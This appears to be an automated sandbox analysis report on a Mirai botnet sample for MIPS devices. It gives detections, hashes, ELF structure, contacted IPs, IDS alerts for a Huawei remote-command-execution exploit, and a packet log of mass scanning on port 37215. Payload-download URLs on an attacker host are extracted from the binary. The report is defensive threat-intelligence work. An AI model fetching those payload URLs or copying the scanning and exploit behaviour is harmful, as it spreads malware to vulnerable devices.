Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ewe.mips.elf	66%	Virustotal		Browse
ewe.mips.elf	66%	ReversingLabs	Linux.Backdoor.Mirai
ewe.mips.elf	100%	Avira	EXP/ELF.Agent.J.8

Source	Detection	Scanner	Label
http://139.59.126.134/bin.sh;	0%	Avira URL Cloud	safe
http://139.59.126.134/bns/x86	0%	Avira URL Cloud	safe
http://192.168.0.14:80/cgi-bin/ViewLog.asp	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://192.168.0.14:80/cgi-bin/ViewLog.asp	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://139.59.126.134/bin.sh;	ewe.mips.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	ewe.mips.elf	false		high
http://139.59.126.134/bns/x86	ewe.mips.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	ewe.mips.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
62.88.24.19	unknown	Belgium	47377	ORANGE_BELGIUM_SAKPNBelgiumBusinessNVhasbeenacquired	false
31.31.55.241	unknown	Switzerland	15547	NETPLUSCH	false
85.179.29.143	unknown	Germany	6805	TDDE-ASN1DE	false
31.42.231.148	unknown	Russian Federation	50060	ANNETRU	false
31.121.22.186	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
171.147.195.92	unknown	United States	9874	STARHUB-MOBILEStarHubLtdSG	false
95.20.36.57	unknown	Spain	12479	UNI2-ASES	false
85.50.194.185	unknown	Spain	12479	UNI2-ASES	false
62.212.42.22	unknown	Georgia	34797	SYSTEM-NETGE	false
94.63.152.244	unknown	Portugal	12353	VODAFONE-PTVodafonePortugalPT	false
135.16.53.152	unknown	United States	54614	CIKTELECOM-CABLECA	false
85.170.165.154	unknown	France	21502	ASN-NUMERICABLEFR	false
62.40.187.68	unknown	Austria	8339	KABSI-ASAT	false
31.126.1.121	unknown	United Kingdom	12576	EELtdGB	false
88.59.203.88	unknown	Italy	3269	ASN-IBSNAZIT	false
62.181.174.193	unknown	Poland	12741	AS-NETIAWarszawa02-822PL	false
94.35.125.208	unknown	Italy	8612	TISCALI-IT	false
62.10.221.86	unknown	Italy	8612	TISCALI-IT	false
95.50.145.244	unknown	Poland	5617	TPNETPL	false
75.103.49.215	unknown	United States	3356	LEVEL3US	false
58.120.239.142	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
94.25.27.66	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
62.152.157.226	unknown	Poland	1902	PAN-NETDeutscheTelekomPan-NetsroSK	false
95.150.154.162	unknown	United Kingdom	12576	EELtdGB	false
62.129.81.22	unknown	United Kingdom	8309	SIPARTECHFR	false
197.252.76.143	unknown	Sudan	15706	SudatelSD	false
95.142.40.180	unknown	Russian Federation	210079	EUROBYTEEurobyteLLCMoscowRussiaRU	false
85.183.86.141	unknown	Germany	6805	TDDE-ASN1DE	false
94.66.233.220	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
85.206.15.21	unknown	Lithuania	8764	TELIA-LIETUVALT	false
18.183.164.61	unknown	United States	16509	AMAZON-02US	false
95.8.187.96	unknown	Turkey	9121	TTNETTR	false
95.145.35.85	unknown	United Kingdom	12576	EELtdGB	false
40.93.122.185	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
95.248.123.93	unknown	Italy	3269	ASN-IBSNAZIT	false
85.218.82.220	unknown	Switzerland	34781	SIL-CITYCABLE-ASCH	false
85.21.177.226	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
85.210.127.29	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
31.42.231.163	unknown	Russian Federation	50060	ANNETRU	false
31.215.73.158	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	false
176.23.194.50	unknown	Denmark	3292	TDCTDCASDK	false
149.154.137.183	unknown	Russian Federation	12714	TI-ASMoscowRussiaRU	false
62.34.129.237	unknown	France	5410	BOUYGTEL-ISPFR	false
157.190.234.123	unknown	Ireland	1213	HEANETIE	false
94.63.104.55	unknown	Portugal	12353	VODAFONE-PTVodafonePortugalPT	false
85.145.61.250	unknown	Netherlands	50266	TMOBILE-THUISNL	false
95.7.215.160	unknown	Turkey	9121	TTNETTR	false
31.163.227.14	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
62.202.185.175	unknown	Switzerland	12684	SES-LUX-ASLU	false
31.61.47.61	unknown	Poland	5617	TPNETPL	false
31.51.147.187	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
8.235.252.49	unknown	United States	3356	LEVEL3US	false
41.110.216.181	unknown	Algeria	36947	ALGTEL-ASDZ	false
191.104.39.118	unknown	Colombia	61317	ASDETUKhttpwwwheficedcomGB	false
31.238.199.223	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
62.1.217.83	unknown	Greece	197746	HYPERHOSTINGGeorgiosVardikostradingasHYPERHOSTINGGR	false
62.132.169.18	unknown	Germany	286	KPNNL	false
88.105.197.98	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
62.53.240.234	unknown	Germany	6805	TDDE-ASN1DE	false
95.217.252.214	unknown	Germany	24940	HETZNER-ASDE	false
95.57.49.115	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
41.108.83.53	unknown	Algeria	36947	ALGTEL-ASDZ	false
99.55.160.89	unknown	United States	7018	ATT-INTERNET4US	false
94.61.24.244	unknown	Portugal	12353	VODAFONE-PTVodafonePortugalPT	false
94.161.60.137	unknown	Italy	24608	WINDTRE-ASIT	false
208.189.51.112	unknown	United States	7018	ATT-INTERNET4US	false
95.111.20.221	unknown	Bulgaria	35141	MEGALANBG	false
62.225.64.104	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
31.134.158.133	unknown	Russian Federation	42668	NEVALINK-ASRU	false
95.184.251.1	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
153.84.237.223	unknown	United States	14962	NCR-252US	false
62.219.85.185	unknown	Israel	8551	BEZEQ-INTERNATIONAL-ASBezeqintInternetBackboneIL	false
85.126.133.242	unknown	Austria	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
65.43.159.223	unknown	United States	7018	ATT-INTERNET4US	false
85.90.55.72	unknown	United Kingdom	39116	TELEHOUSEGB	false
85.230.40.197	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
93.84.174.13	unknown	Belarus	6697	BELPAK-ASBELPAKBY	false
62.55.46.218	unknown	Germany	6805	TDDE-ASN1DE	false
132.100.216.87	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
95.160.85.224	unknown	Poland	29314	VECTRANET-ASAlZwyciestwa25381-525GdyniaPolandPL	false
41.123.62.204	unknown	South Africa	16637	MTNNS-ASZA	false
94.50.44.30	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
24.231.147.120	unknown	United States	20115	CHARTER-20115US	false
157.157.40.35	unknown	Iceland	6677	ICENET-AS1IS	false
112.236.255.142	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
48.105.48.154	unknown	United States	2686	ATGS-MMD-ASUS	false
167.47.72.162	unknown	Canada	2665	CDAGOVNCA	false
179.44.30.187	unknown	Venezuela	22927	TelefonicadeArgentinaAR	false
31.120.222.29	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
85.113.74.189	unknown	United Kingdom	13005	C2INTERNET	false
99.161.69.47	unknown	United States	7018	ATT-INTERNET4US	false
31.242.82.152	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
94.246.67.1	unknown	Sweden	12552	IPO-EUSE	false
95.100.100.163	unknown	European Union	20940	AKAMAI-ASN1EU	false
31.12.184.224	unknown	Ukraine	29287	AT-WZN-ASWienEnergieAT	false
94.122.78.18	unknown	Turkey	12978	DOGAN-ONLINETR	false
62.210.152.209	unknown	France	12876	OnlineSASFR	false
62.81.118.94	unknown	Spain	6739	ONO-ASCableuropa-ONOES	false
95.165.157.26	unknown	Russian Federation	25513	ASN-MGTS-USPDRU	false
94.22.197.161	unknown	Finland	15527	ANVIASilmukkatie6VaasaFinlandFI	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
62.88.24.19	arm7	Get hash	malicious	Mirai	Browse
95.20.36.57	1wYlPZNdFT	Get hash	malicious	Mirai	Browse
31.31.55.241	3CMCBTr1Bk.elf	Get hash	malicious	Mirai	Browse
31.31.55.241	C2JaE3zxFB	Get hash	malicious	Mirai	Browse
85.50.194.185	na.elf	Get hash	malicious	Mirai	Browse
	klTP7Pmqg6.elf	Get hash	malicious	Mirai	Browse
	EJVH3VKWWM.elf	Get hash	malicious	Unknown	Browse
	qBaJ2Vhbm0	Get hash	malicious	Mirai	Browse
	0v7xlfYP7a	Get hash	malicious	Mirai	Browse
94.63.152.244	TagVX302R8	Get hash	malicious	Mirai	Browse
	1ceosZ3j0n	Get hash	malicious	Mirai	Browse
	UnHAnaAW.x86	Get hash	malicious	Mirai	Browse
85.179.29.143	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse
	Like3EYCgS	Get hash	malicious	Mirai	Browse
	QEY74NvN9f	Get hash	malicious	Mirai	Browse
85.170.165.154	x86.elf	Get hash	malicious	Unknown	Browse
	RmmTwfsvAB.elf	Get hash	malicious	Mirai	Browse
	wxhbBu0SaO.elf	Get hash	malicious	Mirai	Browse
31.42.231.148	x4u7cBpUQH	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	ewe.sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	ewe.arm5.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	.i.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	Fantazy.arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	ewe.ppc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	Aqua.m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	arm7.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	arm6.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	arm4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORANGE_BELGIUM_SAKPNBelgiumBusinessNVhasbeenacquired	ewe.x86.elf	Get hash	malicious	Mirai	Browse	94.107.201.142
	Fantazy.spc.elf	Get hash	malicious	Unknown	Browse	91.87.35.128
	Fantazy.m68k.elf	Get hash	malicious	Unknown	Browse	94.111.226.190
	Fantazy.x86.elf	Get hash	malicious	Unknown	Browse	94.107.248.62
	xd.arm.elf	Get hash	malicious	Mirai	Browse	178.51.223.14
	3.elf	Get hash	malicious	Unknown	Browse	178.50.181.175
	botnet.spc.elf	Get hash	malicious	Mirai, Moobot	Browse	91.87.66.160
	sora.spc.elf	Get hash	malicious	Mirai	Browse	91.87.153.140
	fuckunix.arm.elf	Get hash	malicious	Mirai	Browse	94.109.252.163
	armv6l.elf	Get hash	malicious	Mirai	Browse	94.105.197.10
ANNETRU	g4za.arm.elf	Get hash	malicious	Mirai	Browse	31.42.231.142
	momo.arm7.elf	Get hash	malicious	Mirai	Browse	109.94.90.166
	bot.mips.elf	Get hash	malicious	Mirai	Browse	31.42.231.124
	xd.arm.elf	Get hash	malicious	Mirai	Browse	109.94.72.126
	sora.mips.elf	Get hash	malicious	Mirai	Browse	109.94.90.172
	m68k.elf	Get hash	malicious	Mirai	Browse	31.42.231.150
	belks.arm.elf	Get hash	malicious	Mirai	Browse	31.42.231.167
	belks.arm7.elf	Get hash	malicious	Mirai	Browse	31.42.231.167
	belks.x86.elf	Get hash	malicious	Mirai	Browse	31.42.231.138
	jew.sh4.elf	Get hash	malicious	Mirai	Browse	188.93.29.215
TDDE-ASN1DE	ewe.x86.elf	Get hash	malicious	Mirai	Browse	62.53.199.250
	ewe.sh4.elf	Get hash	malicious	Mirai	Browse	85.179.29.169
	ewe.ppc.elf	Get hash	malicious	Mirai	Browse	85.179.29.194
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	85.182.115.133
	Fantazy.ppc.elf	Get hash	malicious	Unknown	Browse	217.191.113.123
	Fantazy.x86_64.elf	Get hash	malicious	Unknown	Browse	78.54.87.247
	Fantazy.mips.elf	Get hash	malicious	Unknown	Browse	77.186.229.73
	Fantazy.arm4.elf	Get hash	malicious	Unknown	Browse	77.177.44.78
	Fantazy.i486.elf	Get hash	malicious	Unknown	Browse	2.241.93.177
	zte	Get hash	malicious	Unknown	Browse	85.182.12.214
NETPLUSCH	sora.arm7.elf	Get hash	malicious	Mirai	Browse	81.13.208.250
	Hilix.mips.elf	Get hash	malicious	Mirai	Browse	185.201.221.194
	bot.ppc.elf	Get hash	malicious	Mirai	Browse	31.31.55.243
	jade.ppc.elf	Get hash	malicious	Mirai	Browse	31.31.55.208
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	185.201.221.180
	nabspc.elf	Get hash	malicious	Unknown	Browse	92.240.127.70
	nabarm5.elf	Get hash	malicious	Unknown	Browse	31.31.56.58
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	31.31.55.245
	armv5l.elf	Get hash	malicious	Mirai	Browse	185.201.221.189
	na.elf	Get hash	malicious	Mirai	Browse	185.201.221.175

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.492417772270121
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	ewe.mips.elf
File size:	93'472 bytes
MD5:	71b690b797eebeb06fed1a44ee502bb3
SHA1:	9e17311594b11c5d48c0757c367b8b8cedeab6c6
SHA256:	2a1576da465e8e69fcadc79fd930aa192dd56025ee1434dfe34363adf3d0f7db
SHA512:	9184686b589224e799e757047851faf6d44f62a34fcdbc8d772cda06e9beefd1d8e5b8361f53e6f46eb8c4a4b4a69aaaa3e446b2effa8a44e98e868c4e00b9c9
SSDEEP:	1536:gKzqmzfphPukFhyxCXgHyveFz0H/DZ5mHZ7/UY2QPMY:gKqYhuezWyveFwHF5mHZ7/UzIr
TLSH:	3693A51A7E268FBCF799863507B78E22965837C62BF1C141E15CEA015EB024E741FF98
File Content Preview:	.ELF.....................@.`...4..j......4. ...(.............@...@....Z ..Z ..............`..E`..E`.................dt.Q............................<...'......!'.......................<...'......!... ....'9... ......................<...'..x...!........'9C

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	92912
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x14260	0x0	0x6	AX	16
.fini	PROGBITS	0x414380	0x14380	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x4143e0	0x143e0	0x1640	0x0	0x2	A	16
.ctors	PROGBITS	0x456000	0x16000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x456008	0x16008	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x456014	0x16014	0x404	0x0	0x3	WA	4
.data	PROGBITS	0x456420	0x16420	0x250	0x0	0x3	WA	16
.got	PROGBITS	0x456670	0x16670	0x41c	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x456a8c	0x16a8c	0x24	0x0	0x10000003	WAp	4
.bss	NOBITS	0x456ab0	0x16a8c	0x340	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x71a	0x16a8c	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x16a8c	0x64	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x15a20	0x15a20	5.5483	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x16000	0x456000	0x456000	0xa8c	0xdf0	4.3370	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-26T01:43:32.512782+0100	2841377	ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)	1	192.168.2.13	56448	95.78.170.9	80	TCP
2025-01-26T01:43:33.351014+0100	2841377	ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)	1	192.168.2.13	58746	95.100.81.167	80	TCP
2025-01-26T01:43:35.746949+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34452	197.85.7.124	37215	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 26, 2025 01:43:29.593842983 CET	47415	37215	192.168.2.13	197.6.191.189
Jan 26, 2025 01:43:29.593951941 CET	47415	37215	192.168.2.13	197.209.202.165
Jan 26, 2025 01:43:29.593960047 CET	47415	37215	192.168.2.13	197.160.119.203
Jan 26, 2025 01:43:29.593972921 CET	47415	37215	192.168.2.13	197.119.243.203
Jan 26, 2025 01:43:29.593983889 CET	47415	37215	192.168.2.13	197.158.91.95
Jan 26, 2025 01:43:29.594007969 CET	47415	37215	192.168.2.13	197.209.30.89
Jan 26, 2025 01:43:29.594018936 CET	47415	37215	192.168.2.13	197.184.98.53
Jan 26, 2025 01:43:29.594018936 CET	47415	37215	192.168.2.13	197.160.10.217
Jan 26, 2025 01:43:29.594033957 CET	47415	37215	192.168.2.13	197.3.150.5
Jan 26, 2025 01:43:29.594048977 CET	47415	37215	192.168.2.13	197.227.72.33
Jan 26, 2025 01:43:29.594070911 CET	47415	37215	192.168.2.13	197.13.192.111
Jan 26, 2025 01:43:29.594151974 CET	47415	37215	192.168.2.13	197.76.51.130
Jan 26, 2025 01:43:29.594152927 CET	47415	37215	192.168.2.13	197.241.17.70
Jan 26, 2025 01:43:29.594161034 CET	47415	37215	192.168.2.13	197.230.137.93
Jan 26, 2025 01:43:29.594161034 CET	47415	37215	192.168.2.13	197.69.26.0
Jan 26, 2025 01:43:29.594166040 CET	47415	37215	192.168.2.13	197.59.135.242
Jan 26, 2025 01:43:29.594166040 CET	47415	37215	192.168.2.13	197.157.251.214
Jan 26, 2025 01:43:29.594182968 CET	47415	37215	192.168.2.13	197.25.160.21
Jan 26, 2025 01:43:29.594198942 CET	47415	37215	192.168.2.13	197.123.226.118
Jan 26, 2025 01:43:29.594223022 CET	47415	37215	192.168.2.13	197.77.19.138
Jan 26, 2025 01:43:29.594253063 CET	47415	37215	192.168.2.13	197.180.11.22
Jan 26, 2025 01:43:29.594259024 CET	47415	37215	192.168.2.13	197.41.228.194
Jan 26, 2025 01:43:29.594279051 CET	47415	37215	192.168.2.13	197.249.41.84
Jan 26, 2025 01:43:29.594294071 CET	47415	37215	192.168.2.13	197.22.255.19
Jan 26, 2025 01:43:29.594305038 CET	47415	37215	192.168.2.13	197.94.241.190
Jan 26, 2025 01:43:29.594309092 CET	47415	37215	192.168.2.13	197.175.127.249
Jan 26, 2025 01:43:29.594383955 CET	47415	37215	192.168.2.13	197.78.171.91
Jan 26, 2025 01:43:29.594383955 CET	47415	37215	192.168.2.13	197.51.53.77
Jan 26, 2025 01:43:29.594384909 CET	47415	37215	192.168.2.13	197.195.172.21
Jan 26, 2025 01:43:29.594384909 CET	47415	37215	192.168.2.13	197.146.219.217
Jan 26, 2025 01:43:29.594391108 CET	47415	37215	192.168.2.13	197.135.176.18
Jan 26, 2025 01:43:29.594391108 CET	47415	37215	192.168.2.13	197.179.96.126
Jan 26, 2025 01:43:29.594393969 CET	47415	37215	192.168.2.13	197.246.105.113
Jan 26, 2025 01:43:29.594409943 CET	47415	37215	192.168.2.13	197.250.15.88
Jan 26, 2025 01:43:29.594415903 CET	47415	37215	192.168.2.13	197.93.168.175
Jan 26, 2025 01:43:29.594428062 CET	47415	37215	192.168.2.13	197.228.189.105
Jan 26, 2025 01:43:29.594454050 CET	47415	37215	192.168.2.13	197.108.55.106
Jan 26, 2025 01:43:29.594469070 CET	47415	37215	192.168.2.13	197.135.236.77
Jan 26, 2025 01:43:29.594510078 CET	47415	37215	192.168.2.13	197.191.89.13
Jan 26, 2025 01:43:29.594520092 CET	47415	37215	192.168.2.13	197.25.92.216
Jan 26, 2025 01:43:29.594548941 CET	47415	37215	192.168.2.13	197.37.233.222
Jan 26, 2025 01:43:29.594599962 CET	47415	37215	192.168.2.13	197.166.153.250
Jan 26, 2025 01:43:29.594600916 CET	47415	37215	192.168.2.13	197.187.10.82
Jan 26, 2025 01:43:29.594604969 CET	47415	37215	192.168.2.13	197.66.210.125
Jan 26, 2025 01:43:29.594604969 CET	47415	37215	192.168.2.13	197.245.235.184
Jan 26, 2025 01:43:29.594611883 CET	47415	37215	192.168.2.13	197.162.34.83
Jan 26, 2025 01:43:29.594652891 CET	47415	37215	192.168.2.13	197.2.206.50
Jan 26, 2025 01:43:29.594665051 CET	47415	37215	192.168.2.13	197.114.112.230
Jan 26, 2025 01:43:29.594685078 CET	47415	37215	192.168.2.13	197.231.151.54
Jan 26, 2025 01:43:29.594706059 CET	47415	37215	192.168.2.13	197.88.9.123
Jan 26, 2025 01:43:29.594722986 CET	47415	37215	192.168.2.13	197.142.101.206
Jan 26, 2025 01:43:29.594769001 CET	47415	37215	192.168.2.13	197.225.76.202
Jan 26, 2025 01:43:29.594772100 CET	47415	37215	192.168.2.13	197.213.206.165
Jan 26, 2025 01:43:29.594778061 CET	47415	37215	192.168.2.13	197.221.77.87
Jan 26, 2025 01:43:29.594778061 CET	47415	37215	192.168.2.13	197.85.7.124
Jan 26, 2025 01:43:29.594793081 CET	47415	37215	192.168.2.13	197.189.185.113
Jan 26, 2025 01:43:29.594809055 CET	47415	37215	192.168.2.13	197.133.101.135
Jan 26, 2025 01:43:29.594822884 CET	47415	37215	192.168.2.13	197.181.32.160
Jan 26, 2025 01:43:29.594841957 CET	47415	37215	192.168.2.13	197.60.97.243
Jan 26, 2025 01:43:29.594862938 CET	47415	37215	192.168.2.13	197.65.102.8
Jan 26, 2025 01:43:29.594902039 CET	47415	37215	192.168.2.13	197.197.129.140
Jan 26, 2025 01:43:29.595011950 CET	47415	37215	192.168.2.13	197.1.226.173
Jan 26, 2025 01:43:29.595011950 CET	47415	37215	192.168.2.13	197.198.248.63
Jan 26, 2025 01:43:29.595016003 CET	47415	37215	192.168.2.13	197.11.249.64
Jan 26, 2025 01:43:29.595025063 CET	47415	37215	192.168.2.13	197.21.99.87
Jan 26, 2025 01:43:29.595078945 CET	47415	37215	192.168.2.13	197.102.21.81
Jan 26, 2025 01:43:29.595082045 CET	47415	37215	192.168.2.13	197.215.187.35
Jan 26, 2025 01:43:29.595097065 CET	47415	37215	192.168.2.13	197.171.72.100
Jan 26, 2025 01:43:29.595097065 CET	47415	37215	192.168.2.13	197.202.39.253
Jan 26, 2025 01:43:29.595097065 CET	47415	37215	192.168.2.13	197.212.52.81
Jan 26, 2025 01:43:29.595097065 CET	47415	37215	192.168.2.13	197.220.194.140
Jan 26, 2025 01:43:29.595124006 CET	47415	37215	192.168.2.13	197.152.236.96
Jan 26, 2025 01:43:29.595134974 CET	47415	37215	192.168.2.13	197.241.78.99
Jan 26, 2025 01:43:29.595197916 CET	47415	37215	192.168.2.13	197.152.206.30
Jan 26, 2025 01:43:29.595202923 CET	47415	37215	192.168.2.13	197.161.234.6
Jan 26, 2025 01:43:29.595216990 CET	47415	37215	192.168.2.13	197.249.234.117
Jan 26, 2025 01:43:29.595232964 CET	47415	37215	192.168.2.13	197.18.210.138
Jan 26, 2025 01:43:29.595242023 CET	47415	37215	192.168.2.13	197.229.227.217
Jan 26, 2025 01:43:29.595266104 CET	47415	37215	192.168.2.13	197.207.29.141
Jan 26, 2025 01:43:29.595268965 CET	47415	37215	192.168.2.13	197.8.29.186
Jan 26, 2025 01:43:29.595282078 CET	47415	37215	192.168.2.13	197.17.125.118
Jan 26, 2025 01:43:29.595300913 CET	47415	37215	192.168.2.13	197.0.227.255
Jan 26, 2025 01:43:29.595355034 CET	47415	37215	192.168.2.13	197.22.82.152
Jan 26, 2025 01:43:29.595355034 CET	47415	37215	192.168.2.13	197.166.199.114
Jan 26, 2025 01:43:29.595366955 CET	47415	37215	192.168.2.13	197.110.228.188
Jan 26, 2025 01:43:29.595386028 CET	47415	37215	192.168.2.13	197.223.172.238
Jan 26, 2025 01:43:29.595402002 CET	47415	37215	192.168.2.13	197.75.77.153
Jan 26, 2025 01:43:29.595407009 CET	47415	37215	192.168.2.13	197.226.136.193
Jan 26, 2025 01:43:29.595415115 CET	47415	37215	192.168.2.13	197.140.212.34
Jan 26, 2025 01:43:29.595437050 CET	47415	37215	192.168.2.13	197.193.78.138
Jan 26, 2025 01:43:29.595460892 CET	47415	37215	192.168.2.13	197.110.145.161
Jan 26, 2025 01:43:29.595467091 CET	47415	37215	192.168.2.13	197.145.74.237
Jan 26, 2025 01:43:29.595474005 CET	47415	37215	192.168.2.13	197.210.147.116
Jan 26, 2025 01:43:29.595484018 CET	47415	37215	192.168.2.13	197.61.149.58
Jan 26, 2025 01:43:29.595504999 CET	47415	37215	192.168.2.13	197.26.63.200
Jan 26, 2025 01:43:29.595515966 CET	47415	37215	192.168.2.13	197.33.41.156
Jan 26, 2025 01:43:29.595535994 CET	47415	37215	192.168.2.13	197.235.72.48
Jan 26, 2025 01:43:29.595552921 CET	47415	37215	192.168.2.13	197.69.9.240
Jan 26, 2025 01:43:29.595576048 CET	47415	37215	192.168.2.13	197.71.140.250
Jan 26, 2025 01:43:29.595597029 CET	47415	37215	192.168.2.13	197.132.79.190
Jan 26, 2025 01:43:29.595621109 CET	47415	37215	192.168.2.13	197.244.160.176
Jan 26, 2025 01:43:29.595623016 CET	47415	37215	192.168.2.13	197.35.199.151
Jan 26, 2025 01:43:29.595637083 CET	47415	37215	192.168.2.13	197.209.38.75
Jan 26, 2025 01:43:29.595654011 CET	47415	37215	192.168.2.13	197.221.47.231
Jan 26, 2025 01:43:29.595674038 CET	47415	37215	192.168.2.13	197.142.243.223
Jan 26, 2025 01:43:29.595685005 CET	47415	37215	192.168.2.13	197.151.30.28
Jan 26, 2025 01:43:29.595701933 CET	47415	37215	192.168.2.13	197.17.249.106
Jan 26, 2025 01:43:29.595716000 CET	47415	37215	192.168.2.13	197.63.131.165
Jan 26, 2025 01:43:29.595730066 CET	47415	37215	192.168.2.13	197.244.197.244
Jan 26, 2025 01:43:29.595747948 CET	47415	37215	192.168.2.13	197.22.147.76
Jan 26, 2025 01:43:29.595767021 CET	47415	37215	192.168.2.13	197.86.111.94
Jan 26, 2025 01:43:29.595777035 CET	47415	37215	192.168.2.13	197.171.63.203
Jan 26, 2025 01:43:29.595794916 CET	47415	37215	192.168.2.13	197.252.164.247
Jan 26, 2025 01:43:29.595813990 CET	47415	37215	192.168.2.13	197.237.201.142
Jan 26, 2025 01:43:29.595839977 CET	47415	37215	192.168.2.13	197.209.131.14
Jan 26, 2025 01:43:29.595855951 CET	47415	37215	192.168.2.13	197.190.36.116
Jan 26, 2025 01:43:29.595870018 CET	47415	37215	192.168.2.13	197.199.142.186
Jan 26, 2025 01:43:29.595875978 CET	47415	37215	192.168.2.13	197.227.95.31
Jan 26, 2025 01:43:29.595890999 CET	47415	37215	192.168.2.13	197.114.182.240
Jan 26, 2025 01:43:29.595904112 CET	47415	37215	192.168.2.13	197.189.18.131
Jan 26, 2025 01:43:29.595918894 CET	47415	37215	192.168.2.13	197.229.5.129
Jan 26, 2025 01:43:29.595937014 CET	47415	37215	192.168.2.13	197.15.59.76
Jan 26, 2025 01:43:29.595983028 CET	47415	37215	192.168.2.13	197.76.41.81
Jan 26, 2025 01:43:29.595983028 CET	47415	37215	192.168.2.13	197.216.53.252
Jan 26, 2025 01:43:29.595990896 CET	47415	37215	192.168.2.13	197.78.233.228
Jan 26, 2025 01:43:29.596018076 CET	47415	37215	192.168.2.13	197.12.91.71
Jan 26, 2025 01:43:29.596026897 CET	47415	37215	192.168.2.13	197.189.13.239
